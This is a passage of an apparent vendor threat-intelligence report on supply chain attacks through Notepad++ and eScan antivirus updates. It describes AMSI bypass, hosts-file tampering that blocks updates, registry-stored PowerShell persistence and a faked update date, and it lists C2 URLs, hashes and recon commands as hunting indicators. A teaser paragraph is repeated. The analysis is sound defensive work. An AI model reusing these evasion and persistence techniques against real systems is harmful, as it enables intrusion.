BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Let’s take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
UPD 30.01.2026: Added technical details about the attack chain and more IoCs.
On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained
UPD 30.01.2026: Added technical details about the attack chain and more IoCs.
On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.
Malicious software used in the attack
Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.
The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named “CorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.
How the attackers managed to pull off this attack
At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability — the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.
According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.
Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.
Obfuscated code snippet
When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:
Lines of the launched script
Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.
eScan antivirus tampering payload
The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:
Deletes multiple files of the eScan antivirus, including the Remote Support Utility located at C:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.
Modifies the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.
Adds update servers of the eScan antivirus (such as update1.mwti.net) to the hosts file, associating them with the IP address 2.3.4.0.
Modifies registry keys related to antivirus databases, for example by assigning 999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.
While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.
It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:
Error message displayed to us when we launched the update process after tampering with eScan. While the message says, “The operation completed successfully”, its appearance is abnormal, and no updates are actually downloaded or installed
Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.
AMSI bypass payload
The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.
Snippet of the AMSI bypass payload (deobfuscated version)
Victim validation payload
The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.
If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:
Writes the persistent payload to the Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.
Creates a scheduled task named Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
PowerShell script executed by the CorelDefrag scheduled task (beautified version)
This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.
When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:
As such, during installation, the infected machine receives two persistent payloads:
The CONSCTLX.exe payload, designed to be launched by the eScan antivirus
The PowerShell-based payload, designed to be launched via a scheduled task
The CONSCTLX.exe persistent payload
This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.
Screenshot of the eScan product GUI, with the highlighted date that is changed by the payload
Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to
If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.
The PowerShell-based persistent payload
The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named “s” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.
A rarely observed attack vector
Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:
Get access to the security solution update server.
Study the internals of the eScan product to learn how its update mechanism works, as well as how to potentially tamper with this product.
Develop unique implants, tailored to the supply chain attack.
An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.
One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.
How to stay safe?
To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.
The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.
Users of the solution are also advised to block known malware command-and-control server addresses.
Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log
Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag
Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999